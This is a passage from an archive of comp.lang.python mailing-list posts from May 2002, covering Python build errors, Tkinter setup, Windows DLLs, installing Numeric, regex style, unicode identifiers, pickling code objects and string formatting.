indirection from 'int (__cdecl *)(struct _object *,struct _object *,struct _object *)' set.c(1252) : warning C4047: 'initializing' : 'int (__cdecl *)(struct _object *,struct _object *,struct _object *)' differs in levels of indirection from 'struct _object *(__cdecl *)(struct _typeobject *,int )' set.c(1254) : warning C4047: 'initializing' : 'struct _object *(__cdecl *)(struct _typeobject *,struct _object *,struct _object *)' differs in levels of indirection from 'void (__cdecl *)(struct _object *)' set.c(1324) : error C2099: initializer is not a constant set.c(1326) : warning C4047: 'initializing' : 'int ' differs in levels of indirection from 'char [13]' set.c(1327) : warning C4047: 'initializing' : 'char *' differs in levels of indirection from 'unsigned int ' set.c(1329) : warning C4047: 'initializing' : 'int ' differs in levels of indirection from 'void (__cdecl *)(struct _object *)' set.c(1344) : warning C4047: 'initializing' : 'struct PyBufferProcs *' differs in levels of indirection from 'const int ' set.c(1350) : warning C4047: 'initializing' : 'long ' differs in levels of indirection from 'struct _object *(__cdecl *)(struct _object *)' set.c(1352) : warning C4047: 'initializing' : 'struct _object *(__cdecl *)(struct _object *)' differs in levels of indirection from 'struct PyMethodDef *' It looks like the old 'initializer is not a constant' error... But I've never confronted it before and I don't know how to fix it in this case. regards, Sandy From kragen at pobox.com Wed May 29 22:20:04 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 29 May 2002 22:20:04 -0400 Subject: 'for every' and 'for any' References: <20020526135944.A32690@hishome.net> <20020526091742.A987@unpythonic.net> Message-ID: <83hekqml63.fsf@panacea.canonical.org> quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) writes: > Um, customizing your workstation is only going to cause problems for other > people if they use your account. I'm hoping they don't do that? No one can > use my wacky setup but they don't need to because I log out when I'm done. Other people use my account when we are sitting at the machine together. > Of the hard-to-maintain code I've looked at, it's always been not enough > abstraction, rather than too much. I've seen quite a bit of both. Code that's either not abstract enough or too abstract can be ten times the size of the ideal code; modifying a 20 000 line program is a lot harder than modifying a 2 000 line program that does the same thing. > People who are used to C and Pascal seem to be especially used to > reinventing common operations, probably because non-polymorphic > static languages make it hard to write generic anything. When I work in C, it's usually for one of two reasons: 1. I feel like reinventing the wheel for fun, so I do. 2. I need (or, anyway, want) the performance, so I tend to reinvent common operations so they're optimized for my application. From eric.brunel at pragmadev.com Tue May 14 05:41:41 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Tue, 14 May 2002 09:41:41 +0000 Subject: Tkinter Configuration References: Message-ID: Bohr, Mike wrote: > Ohhh, I realy hate days like this... > I've no _tkinter.so . Where can I get it? There is no _tkinter.so required, just libtcl.so and libtk.so. If these are not present on your system, it is quite strange, as these libraries are included in many distributions. Maybe you can install them afterwards? Sorry: as I told you, I don't know the SuSe distro so I can't help you there... But you'll need these libraries to be able to use Tkinter. If all else fails, you can get the sources for tcl and tk at: http://tcl.sourceforge.net/ They should compile without problem on any Linux box. HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From whisper at oz.net Fri May 10 20:01:13 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 10 May 2002 17:01:13 -0700 Subject: Python stagnating? In-Reply-To: Message-ID: Nitpickers? Gee Aahz, wasn't rule 6 enough? ;-) David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Aahz > Sent: Friday, May 10, 2002 16:49 > To: python-list at python.org > Subject: Re: Python stagnating? > > > In article , > Chris wrote: > > > >Tough crowd here :) > > Nah. You want tough, go to comp.lang.perl.misc. But we *are* a gang of > nitpickers. > -- > Aahz (aahz at pythoncraft.com) <*> > http://www.pythoncraft.com/ > > "usenet imitates usenet" --Darkhawk > -- > http://mail.python.org/mailman/listinfo/python-list From fokke_wulf at hotmail.com Fri May 17 21:04:05 2002 From: fokke_wulf at hotmail.com (Matthew Diephouse) Date: Sat, 18 May 2002 01:04:05 GMT Subject: Unpacking a hex value Message-ID: <3CE5A7A7.2060204@hotmail.com> I have the following perl code, which I'm trying to translate to python: my $out = hex( shift(@_) ); $out = pack("N", $out); However, I can't figure out how to pack the hex value. I always get an error: "required argument is not an integer". Python's pack doesn't have an "N" format, but I think I could use "l!" Help? Please? md |- m:att d:iephouse From tundra at tundraware.com Mon May 20 01:20:03 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Mon, 20 May 2002 05:20:03 GMT Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> Message-ID: <3CE88646.F85B9358@tundraware.com> Dean Goodmanson wrote: > > Now I've blown it. Shouldn't have posted after skimming, but after > digesting. > > According the the copyright section it should have been reproduced in > it's entirety, and my quote of the Python section may have consisted > of "condensing." > > I apologize. > > Now onto remedy.. > > I can either: > a. Post the entire text here. > b. ??? Umm, that's OK ;) The intent was that if the paper is distibuted, it ought not to be condensed or modified. -- ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From pinard at iro.umontreal.ca Wed May 29 18:30:58 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 29 May 2002 18:30:58 -0400 Subject: Why no open(f, "w").write()? In-Reply-To: <200205291422.45264.gherron@islandtraining.com> References: <200205291422.45264.gherron@islandtraining.com> Message-ID: [Gary Herron] > Thus the "bad" part of this programming practice is that the timing > of the implied close is dependent Python implementation issues (i.e., > the timing of the garbage collection), and such dependencies are never > a good thing to rely on. There might be cases when one moves between Python and Jython, indeed. When one knows s/he works with Python only, it is good style to rely on the refcount behaviour, as it yields code which is not only more legible, but also more elegant and concise. It means that you understand and accept in advance having to revise your code if you ever want to use other implementations of Python, like Jython. As someone was pointing to me very recently, the Python reference tries to describe a common language, but there is no "C-Python" specific guide. If there was one, the refcount behaviour would most probably be described as dependable and reliable, even through future versions, as far as Python programming is concerned. And besides, it seems that the few implementations of Python do not support exactly the same language: extensions here may not be available there. Defining "good style" as the common subset of all Python implementations, and everything else as "bad style", seems questionable. The only thing is that you have to be aware of the implications of your choices. For this "Jython-forces-you-to-explicit-closes" matter, my feeling is that Jython encourages bad style here, much more than it defines good style. Surely, there has never been a bad intent from Jython author. We understand that the limitation comes from the fact Jython relies on the Java system for collecting garbage. One has to close explicitly in Jython for practical implementation considerations, this has nothing to do with good style. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From jb at cascade-sys.com Thu May 2 05:15:42 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 02 May 2002 02:15:42 -0700 Subject: Newbie: finding the key/index of the min/max element References: Message-ID: <3CD103BE.A8988B73@cascade-sys.com> Mark McEahern wrote: > http://www.python.org/doc/FAQ.html But this is a Python FAQ, not a list faq. Unless I'm mistaken, it doesn't address the issues Alex raised. I'm suggesting something more specific may be called for. --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From starx at pacbell.net Sun May 5 14:50:13 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 5 May 2002 18:50:13 GMT Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: Alex Martelli || Sun 05 May 2002 11:13:48a: > Martin v. L?wis wrote: > >> Alex Martelli writes: >> >>> So, it's PERFECTLY feasible on Windows for a DLL to access symbols that >>> are defined in the executable that loads said DLL, by any of several >>> means. >> >> That's very interesting indeed. In http://python.org/sf/551093, Jason >> Tischler argues that you absolutely must build Python with a shared >> Python DLL, or else it can't possibly work. I thought this was >> overstated, but didn't dare question the "common knowledge" that you >> can only link against DLLs, not executables. > > I'm not sure what Cygwin or other versions of gcc for Windows can do. > With Microsoft Visual C++, the "common knowledge" is however misplaced. > > >>> I really can't see that. A standalone python.exe might be less than >>> optimal for other reasons >> >> I wonder what those "other reasons" could be, though. What exactly >> *is* the rationale for Python using a DLL on Windows? > > A typical example of "a good reason to keep Python in a DLL" would be > if several different applications (.EXE's), not just Python.exe, > embedded Python. With Python in a shared library, every extension > can be linked just once, against the DLL, and will be usable with any > application that embeds Python through that DLL. If extensions were > linked against Python.EXE, they'd have to be relinked separately for > every embedding-application that wants to have those extensions > available. > > I don't know if there are all that many .EXE's embedding Python on > Windows, nor if that was the reason for the (perfectly reasonable) > choice to build Python itself as a DLL there. Just expounding on the > "less than optimal for other reasons" comment I made above -- I > realize not everybody's been "blessed" with doing systems-level > development and consulting on Windows for many years (how I pity you > all poor, deprived developers who had to stick to Linux, BSD, &c...!), > so these tradeoffs may be not clear at all to many readers, since they > _are_ quite different from those involved with .so's on Linux &c. Hm, what's the effective difference between embedding the dll in a program (static linking?), and just sticking it in alongside, like my bootstraping execframe* does. I mean, i'm using McInstaller for this, so it compresses the DLL and unzips it before running. I can't think of any real differences between these methods of distrubution, really... And-i'm-annoyingly-tuned-to-windows-too-ly yrz =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From brueckd at tbye.com Wed May 1 11:10:10 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Wed, 1 May 2002 08:10:10 -0700 (PDT) Subject: Python vs. Perl, which is better to learn? In-Reply-To: Message-ID: On Wed, 1 May 2002, Christopher Browne wrote: > > Could you give us a concrete example where the use of regular expressions in > > Perl is superior to Python? > > Well, in Perl, they're "first class objects," as it were, requiring no > extra references to functions to get them to function, as a base part > of the language syntax. IMO this is what makes the Python way a Good Thing - that tiny bit of extra effort required to use them (hopefully) makes a person stop and consider if re's really are the right tool. It's pretty common to have someone wondering how to reduce the complexity and/or improve the performance of their re and have the answer be "don't use an re" or "do more of the work outside the re". Just yesterday a Java guy was asking me to help him speed up his re that found Wiki names from a list of tokens. The first optimization was to not even call the re engine unless the token began with a capital letter. The next optimization was to see if the rest of the string matched the lowercase version of the rest of the string, and if not, consider it a Wiki name, so in the end he didn't use re's at all (he had a slightly liberal definition of a Wiki name). When using a regular expression is the right solution, they are extremely powerful and elegant, so I understand the temptation to use them all over the place (I'm suspicious when people tell me they're using regular expressions "all the time" - sometimes it's for valid reasons, but often it's not). > Mind you, I have found that the "More Pythonic Way" of constructing > complex regexes by building components, like the following, to have > merit: > > digit = '[0-9]' > date = '\(' + digit + digit + digit + digit + '/' + digit + digit + '/' > date = date + digit + digit + '\)' Just a side note, you can make this even more readable: digit = '[0-9]' date = '\(' + 4*digit + '/' + 2*digit + '/' + 2*digit + '\)' -Dave From grante at visi.com Mon May 6 11:34:11 2002 From: grante at visi.com (Grant Edwards) Date: Mon, 06 May 2002 15:34:11 GMT Subject: OT: mail-news gateway question References: Message-ID: In article , Aahz wrote: > Moderation *may* be involved, and e-mail is always involved > when there's moderation (modulo spam and some other special > cases), but a gateway is in-and-of-itself no indicator of > moderation. If a group is moderated, where does the e-mail happen? I had assumed it was in the newsreader (e.g. slrn), but it doesn't look like that's the case. I don't think the newsreader actually has access to the required info. Is it the news server software (whatever's at the other end of the NNTP connection) that checks to see if a group is moderated and send the e-mail? -- Grant Edwards grante Yow! Let me do my TRIBUTE at to FISHNET STOCKINGS... visi.com From shalehperry at attbi.com Tue May 7 12:12:59 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Tue, 07 May 2002 09:12:59 -0700 (PDT) Subject: python: cross-platform? In-Reply-To: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: On 07-May-2002 Eric Texier wrote: > Is there a guide line for writing cross-platform code in python. I am > dealing with only one os for now but I would like to be sure that I am > using only cross platform code. > Thanks in advance > most of the modules shipped with python are OS neutral. An important thing to remember is file paths change on each OS. Windows uses a drive letter and backslash, UNIX uses forward slashes, etc. The os.path module tries to hide these details. From siegfried.gonzi at kfunigraz.ac.at Wed May 15 04:36:17 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Wed, 15 May 2002 10:36:17 +0200 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <3CE16A13.309D0D14@kfunigraz.ac.at> Message-ID: <3CE21E01.F3CD9FD2@kfunigraz.ac.at> Fernando P?rez wrote: > First, make sure that you are finding the right python: > > $ which python > > should tell you which python runs when you type 'python'. Next, you can tell > setup.py to put things where you want with the --home option: > > python setup.py install --home=/your/path If I make the normal installation: 1. Downloading Python and entpacking into /home/gonzi/Python-2.2.1/ 2. ./configure 3. make and the Python executeables becomes copied to: /usr/local/bin/ python python2.2 If try to install the Numeric now and I get the error message: creating /usr/local/lib/python2.2/site-packages/Numeric error: could not create '/usr/local/lib/python2.2/site-packages/Numeric': Permission denied If I use it with the prefix (in /home/gonzi/Python-2.2.1/Numeric-21.0/) python setup.py install --prefix=/home/sig/Python-2.2.1 but then I can compile the Numeric stuff and it is copied to: /home/gonzi/Python-2.2.1/lib/site-packages/Numeric But I cannot include it, because module cannot be found. BUT the above is not what I want, I want a Python installation in *the following directory* (this is my directory on the Sun too; and normally I do not have any problems installing programs): /home/gonzi/Python-2.2.1/ henceforth I tried: 1. ./configure --prefix=/home/sig/Python-2.2.1/ -exec-prefix=/home/sig/Python-2.2.1 2. make if I type then: which python I get: ./python (whatever that means). I can fire up python (and as default I get the Python2.2 version; the beforementioned installation would result in the normal version; do not ask me why), *but only* in the /home/gonzi/Python-2.2.1/ directory (how can I set the environment variable?). But I cannot try to compile Numeric because I failed to set the global Python path: export PYTHONPATH=/home/gonzi/Python-2.2.1 The above is the reason why I never will suggest to my friends to install Linux (yesterday a collegaue got interested because he saw that I installed successfully Linux; but it took me quite a long time to convince him not to waste his life if he does not have any dire need for a change). Don't get me wrong, in Windows I make click and a few minutes later I work. Any suggestions? Thanks, S. Gonzi From pyth at devel.trillke.net Thu May 16 12:33:09 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 18:33:09 +0200 Subject: how to determine an 'open' string? In-Reply-To: ; from shalehperry@attbi.com on Thu, May 16, 2002 at 09:05:06AM -0700 References: <20020516171637.C28033@prim.han.de> Message-ID: <20020516183309.H28033@prim.han.de> Sean 'Shaleh' Perry wrote: > > >> > >> Seems a really simple solution is count the number of each type of quote in > >> the > >> string. But first you need to find all of the triple quotes. > > > > i thought along those lines, too, but couldn't get it correct easily. > > > >> for each quote type: > >> count = find all triple quotes > >> if count is even: closed > > > > for > > """''' askldjl''' > > > > this returns 'closed': wrong! > > > > right, you need to handle ", then '. > > import re > > test_string = '"""\'\'\' askldjl\'\'\'' > > STATE_OPEN = 0 > STATE_CLOSED = 1 > state = STATE_OPEN > > dblqt_triple = re.compile(r'(""")') > snglqt_triple = re.compile(r"(''')") > > m = dblqt_triple.search(test_string) > count = len(m.groups()) > if count == 0 or (count % 2) == 0: > state = STATE_CLOSED > new_string = dblqt_triple.sub('', test_string) > > m = snglqt_triple.search(new_string) > count = len(m.groups()) > if count == 0 or (count % 2) == 0: > state = STATE_CLOSED > new_string = snglqt_triple.sub('', new_string) what about '''"""'''argh"""'''""" :-) holger From fperez528 at yahoo.com Thu May 2 12:58:06 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 02 May 2002 10:58:06 -0600 Subject: Command history in python shell under linux References: <3CD147FA.2040905@olen.to> Message-ID: Dave Kuhlman wrote: > > Trying to save you a bit of frustration in advance ...??When?I > recompiled the source after uncommenting the readline line in > Modules/Setup, I believe I had to install the package > libreadline-dev in order to get a header file needed by readline. > > A couple of additional suggestions: > > 1. For a fancier Python shell, take a look at IPython: > > http://www-hep.colorado.edu/~fperez/ipython/ Thanks a lot for the plug ! :) I'm glad to see others are finding it of use. I'd just like to clarify that while I do think that IPython is far better than the normal python shell, it still relies on the native python readline module. So the OP will still have to solve his issue of not having readline installed, whether for IPython or not. And for that the rest of your tip is right on. To further help a bit, these days python detects readline's headers automatically, so if he installs libreadline-devel _first_ and then does a fully clean build of python, it should automatically pick up readline and he shouldn't need to do any manual editing of Modules/Setup. Cheers, f. From peter at engcorp.com Tue May 7 01:25:44 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 07 May 2002 01:25:44 -0400 Subject: What makes code "readable"? (was Re:Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: <3CD76558.F286FF73@engcorp.com> Terry Hancock wrote: > > Mark McEahern wrote: Actually Terry, that was I, not Mark... [snip] > > Punctuation itself also inherently lowers > > readability, I believe, which is a reason I find > > assembly easier to read than Perl, though clearly > > less productive. [snip punctuation-less paragraph] > Seriously, though I think that punctuation aides readability. Well, I was definitely too concise (a rarity, believe me!). I really meant, as you point out, that more than "just enough" punctuation affects readability. As !(you) might.find if/you re-wrote!! your $%previous @example-->more in the+style of **Perl...%%%. ;-) > The real issue with Perl is probably the degree to which > punctuation characters are not used *as* punctuation, but > rather as *words* in their own right. >[....] > Another useful criterion (probably a bigger deal for more > auditory-oriented folks) is "can you pronounce it?". Yes! It's perhaps a little known fact that most people read "verbally", by pronouncing the words in their heads at least in an accelerated fashion. If you can't hear the words, you get that "then we compare _hmm_ with _hmm_ and then _hmm_ _hmm_ _hmm_ ..." that you described. Excellent point. > where each "_hmm_" is me losing my verbal focus, and > substituting some unpronounceable concept. Since it's > not associated with a word, it's harder to keep track > of in your head, so it's probably easier to forget > what you're doing. I nominate your insight and "losing verbal focus" for some part of Quote of the Week. Strange: readability is actually about hearing... :) -Peter From iwaters at btclick.com Sun May 12 16:53:00 2002 From: iwaters at btclick.com (ian) Date: Sun, 12 May 2002 21:53:00 +0100 Subject: small string split prob Message-ID: hi im having trouble splitting a string any help would be great!! The RCPTTO contains a line read from a socket. when i try to split an e-mail address into the box and domain sub parts i get a type error on index!? #split e-mail address index = RCPTTO.find("@") box = RCPTTO[0,index] domain = RCPTTO[index + 1,RCPTTO.len()] print box print domain From dlashar at sprynet.com Wed May 15 18:34:49 2002 From: dlashar at sprynet.com (J. David Lashar) Date: Wed, 15 May 2002 18:34:49 -0400 Subject: Beginner: HTML Parsing Message-ID: As a beginner, I'm working through the O'Reilly books mentioned in an earlier posting, but I haven't found much guidance on parsing an HTML file once I've pulled it down with httplib. And I'm finding the Python Library Reference to be a bit cryptic. Could someone point to resources or provide examples? Thanks in advance. From wyojustin at hotmail.com Wed May 22 23:18:15 2002 From: wyojustin at hotmail.com (Justin Shaw) Date: Thu, 23 May 2002 03:18:15 GMT Subject: urllib2 and cookies References: Message-ID: This module seem like it applies to you. Saw it in the Vaults Parnassus. http://wwwsearch.sourceforge.net/ClientCookie/ Justin Shaw "Gabe Newcomb" wrote in message news:mailman.1022106651.10698.python-list at python.org... Anybody out there know how to make use of cookies when executing urllib2.urlopen()? I need to simulate browser sessions... Thanks in advance (-ly yours), Gabe Newcomb Software Test Automation Engineer 425.372.2732 Noetix Corporation www.noetix.com From "aglyport\" at n-o.s,p/a__m.yahoo.com> Fri May 17 20:17:20 2002 From: "aglyport\" at n-o.s,p/a__m.yahoo.com> (Anton Graph) Date: Fri, 17 May 2002 17:17:20 -0700 Subject: -lModules -lPython -lObjects -lParser Message-ID: Btw, whatever happened to Modules Python Objects Parser quadruplet? Was it replaced by the pythonX.Y lib? And why is config file a part of that lib now? From a.schmolck at gmx.net Tue May 14 10:15:44 2002 From: a.schmolck at gmx.net (A.Schmolck) Date: 14 May 2002 15:15:44 +0100 Subject: Multibyte Character Surport for Python References: Message-ID: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) writes: > I am Swedish and English is not my first language. > > My view is that Python source code should be UTF-8, so that you can represent > multilingual strings in a readable way. However, I still think that > identifiers should be limited to ASCII. > > Just like music score is the common language for written music, English > based programming languages have become the common base for programming. > Just like you have to learn how to read music score (unless you have a > perfect memory for tunes) to perform other peoples music, you need to learn > basic English in order to make your programs readable by others and be > able to read other peoples code. I think this analogy limps a bit. People all over the world *do* perform other peoples' music without having to learned (western) musical scores. Indeed, it would be a major cultural catastrophe, were it otherwise. Also, the amount of effort that is required for someone with a sufficiently different language background to learn English well enough to come up with good interface names and documentation is in no way comparable to the amount of effort involved in learning to read musical scores. And to say that those who haven't enough English (or need to name things which there are no English words) should then at least stick to the 26 alphabetic characters is like telling English users of FOO to to use Chinese or at least transliterate the roman alphabet into Chinese, because Chinese is *the* language to do FOO in. People might be willing to do this if FOO is a really big thing in their lives but not if they just think FOO sounds like an interesting thing and they want to learn about it, or FOO might help them with some other problems. Would you tell an American kid interested in learning FOO to go and learn Chinese first? Even if FOO had nothing to do with China and Chinese culture as such? > > I understand the attraction of using your native language for identifiers > and comments, but it is really the dark side of the source. Yes, there *are* big advantages associated with sticking with English for all code, but you have to acknowledge that these advantages already come comparatively free to you (and me, and Alex Martelli), since we happen to have mastered English to a considerable extent (and it wasn't all that difficult, given that Swedish, Italian, German and English are not all that different). To many people outside Europe this doesn't apply, not even in a rich country with an excellent education system such as Japan (one of the reasons, I suspect why sun was clever enough to indulge the Japanese a bit with Japanese language docs and the like). If python strives to bring programming to the masses, and those masses are not all situated in Europe, America (and a few select ex-colonies etc.) then unicode strings might not be enough, so I think it's necessary to think about which audience one wants to accommodate and at whose expense. alex P.S.: I will also admit a slight fancy for greek identifiers in math code :) From pinard at iro.umontreal.ca Mon May 20 16:58:21 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 20 May 2002 16:58:21 -0400 Subject: ANSI colored output: How to determine how python was called? In-Reply-To: References: Message-ID: [Donn Cave] > Quoth Pearu Peterson : > | Are there alternative (hopefully better) ways to decide whether the > | output "device" of python stdout supports ANSI colored text or not? > It might be nice to pull something else out of the environment too, for > the sake of people who are missing the boat on TERM - maybe LS_COLORS, > which is already used by GNU ls, or something specific to your application. The normal way to check for colour terminal support is through terminal info capabilities (terminfo). Check for `op', 'AF', `AB', `Sf', `Sb', 'Co', `pa' and `NC' capabilities, in particular. I forgot details as of now, but remember I had to fight a bit to get everything right. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From nospam at bigfoot.com Thu May 16 13:32:40 2002 From: nospam at bigfoot.com (Gillou) Date: Thu, 16 May 2002 19:32:40 +0200 Subject: Redistribution legal status Message-ID: Hi, I'm native French speaking and - definitely - not a lawyer and I did'nt get with my poor man's brain the rules associated with the licence. The story : I sell to a customer a Python app that will be installed on about 50 Windows boxes. This app requires either Windows Python from PSF + Win 32 extensions or ActiveState Python. Is it possible (say "legal") to redistribute these distros "as is" on a CD ROM with my app specific files ? Or should I say to my customers they should to install these Python stuffs by themseves before my apps files ? Thanks in advance. --Gilles From bebert at worldonline.dk Sat May 4 09:05:47 2002 From: bebert at worldonline.dk (Bjarke Dahl Ebert) Date: Sat, 4 May 2002 15:05:47 +0200 Subject: Interactive interpreter in embedded Python Message-ID: Hello, When you write a Python extension in C(++), it is very easy to play with it from the shell. Just open an interactive interpreter and import the extension module. But what if you have an application embedding a Python interpreter? Then it would also be nice, at least during development, to be able to get a "Python prompt" to play with functions exported from the application, etc. So, after calling Py_Initialize and initializing my Python extensions, what is the easiest way to open a Python Shell in a window? I'm programming in Win32. Either IDLE or PythonWin would be fine. If the C application is (natively) graphical, will I get problems with IDLE/PythonWin interfering with the message handling loop of the application? Kind regards, Bjarke From kwokng at earthlink.net Tue May 14 08:17:15 2002 From: kwokng at earthlink.net (Billy Ng) Date: Tue, 14 May 2002 12:17:15 GMT Subject: serializing DOM object Message-ID: Hi folks, I want to use Java to save the DOM object to a blob field in mysql. Then, using python to open it later. Is it possible? Someone told me as long as I need to serialize the DOM object, it is doable. If anybody have this experience, would you please share with me. Thanks! Billy Ng From pyth at devel.trillke.net Thu May 9 05:40:20 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 9 May 2002 11:40:20 +0200 Subject: no pickling code objects? In-Reply-To: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> References: <4vhjdugv3kfd0m4359lkqctmn25ia44cae@4ax.com> Message-ID: <20020509094020.GT4604@devel.trillke> Gon?alo Rodrigues wrote: > Hi, > > On the docs on the pickle module it says that code objects can not be > pickled, this in turn implies some limitations on the pickleability > (man, I like this word!) of some objects. The docs mention security > reasons for this choice. But somehow this doesn't feel right. Shouldn't > the secuity concerns be left to the programmers? After all Python > already has exec*. Is there something I am missing? > > I am asking this mainly from curiosity, I am in no need of such a > feature. And then again, If I had the time and the knowedge + skill to > come up with a patch... just a comment: i need pickling of code objects. Anyone implementing mobile network agents might be interested, also. Up until now i just grab the source/byte code and send it over as a string. But the basic problem with pickling/unpickling code objects is to transport the transitive closure of code objects: you need to have the code objects which your pickled code objects depends on. And next the code objects which these code objects depend on ... At the same time you don't want to pickle code of the python standard distribution usually (at least not sys/os and friends). Has anyone figured these issues out already? holger From robin.siebler at corp.palm.com Thu May 16 13:21:29 2002 From: robin.siebler at corp.palm.com (Robin Siebler) Date: 16 May 2002 10:21:29 -0700 Subject: PyOleMissing object Message-ID: <886c5e4b.0205160921.558f1e5f@posting.google.com> I am trying to use COM to automate some tasks in Metrowerks CodeWarrior. I am using win32com.client. For many of the arguments for a function, I see a message similar to this: '(CommandID= Message-ID: Mark McEahern wrote: > [William Dode] >> coming from java, i use to do a lot of get set method and make all the >> variable as private. >> >> class Toto: >> def getA(self): return self._a >> def setA(self,v): self._a=v >> ... >> >> Shall i do like that in python ? > > Field descriptors are new with Python 2.2 Yes. > and require the new-style > classes. No. >>> class X: ... def getTer(self): return 23 ... def setTer(self, value): pass ... ter = property(getTer, setTer) ... >>> x = X() >>> x.ter 23 Alex From kragen at pobox.com Wed May 15 18:09:14 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 18:09:14 -0400 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> Message-ID: <83y9el2hdh.fsf@panacea.canonical.org> Siegfried Gonzi writes: > I have a calculation (external C function included with the help of > SWIG; external Fortran function included with the help of F2PY; some pre > processed Lisp files; a dozen of binary satellite data files). One run > of the code takes about 1 hour. The execution time is not the problem! > Memory is not a problem too, but: it consumes after 1 hour 200 MB of > RAM. If I start the calculation in the DOS shell I can see that Python > gives memory back to the OS (I got the advice to start the calculation > from the DOS line), but this is only for 2 runs the case. If I start the > calculation for a third time I have to see that Python wreaks havoc. I have had a somewhat similar problem. If I create a dict containing lots of small Numeric arrays, write the small arrays to a file, delete the dict, and load the file as a large Numeric array, I get a MemoryError. If I exit and restart Python between deleting the dict and loading the file, it works fine. My hypothesis was that Python's allocator (well, somebody's allocator!) was leaving free memory fragmented, so that there was no large contiguous block available after the creation and deletion of the large dict. This could be because little bits of stuff created when the dict was created were left allocated, but I couldn't figure out what they'd be, or it could be because adjacent free blocks weren't being coalesced. > b) Is there semantically speaking a difference between automatic memory > managament and garbage collection? No. > c) Dose Python's garbage collector just simply collect and dispose all > the memory junks at the end of the calculation (and hence once) or does > Python collect garbage and at the same time removing old memory? When an object's reference count drops to zero, Python deallocates it using (normally) the system allocator. From max at alcyone.com Sat May 18 01:04:25 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 17 May 2002 22:04:25 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> Message-ID: <3CE5E0D9.6B97951F@alcyone.com> "James J. Besemer" wrote: > I wonder if you are perhaps too deeply attached to a particular > implementation? I'm going by what seems to me the most straightforward implementation, which is also what is described in the PEP itself (with the caveat that the PEP allows sets to contain sets through a tweak). It seems the most sensible tradeoff between idealization and practicality. > I hadn't considered the implication of mutable objects as set members. > If > you allow an arbitrary list/tree structure to be members, how do you > decide > if it's in the set or not? You only consider the list object itself > or do > you look at its overall value? Presumably by an equality test (which can be reflected in the immutable case by having hashes of equal objects, such as 1 and 1.0, be themselves equal). That's not the half of it. Mutable objects can dynamically change state, completely outside the control of the container. So the hard question is: What happens when a mutable object changes its value, such that it effects the arrangement of the set? How does the container get notified of this change (which as far as I know there is no standard way to test in Python), and what happens when a value collision occurs within the set? Does one object get disposed? If so, which one? These are precisely the same kind of issues that lead one to conclude that you're much better off with immutable dictionary keys. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From theller at python.net Thu May 16 13:14:38 2002 From: theller at python.net (Thomas Heller) Date: Thu, 16 May 2002 19:14:38 +0200 Subject: py2exe and tricky imports References: Message-ID: "Chris Prinos" wrote in message news:rJCE8.5700$Bn5.2177823 at typhoon.ne.ipsvc.net... > I have a set of python applications running under the ActiveState Python 2.1 > distribution in a win32 environment and am trying to use py2exe to create a > standalone executable. > > For the simple cases, I can get it to work, but I am running into problems > with certain dependant modules not being found. In particular, it fails to > find varius modules from the xml package (PyXML is installed), mxDateTime > and mxODBC. I've seen some previous posts that say this is due to the way > these packages manipulate the default import mechanisms, but none of the > comments or suggested solutions seemed to help. > I cannot say anything about the mx stuff, but unfortunately py2exe doesn't yet support PyXML currectly. Can you live with the standard xml stuff distributed with Python? Thomas From harisri at bigpond.com Fri May 10 02:24:25 2002 From: harisri at bigpond.com (Srihari Vijayaraghavan) Date: 9 May 2002 23:24:25 -0700 Subject: Can string format operator help me? Message-ID: <284b44c2.0205092224.523bccca@posting.google.com> Hello, Please consider the following example: l = 0 while l < 1000000: print "%s" % l l = l + 10000 It prints like: 0 10000 .. 100000 .. What I want to achieve is something like this: 0 10000 .. 100000 .. I guess 'Format Operator Auxiliary Directives' (thanks to Core Python Programming book for the term) * symbol needs to be used in this case. But I don't know how. I may be wrong though. I want to be able to do this using string format operator because I am using tuples/dictionaries as the values. I understand the Python Library Reference (section 2.2.6.2) 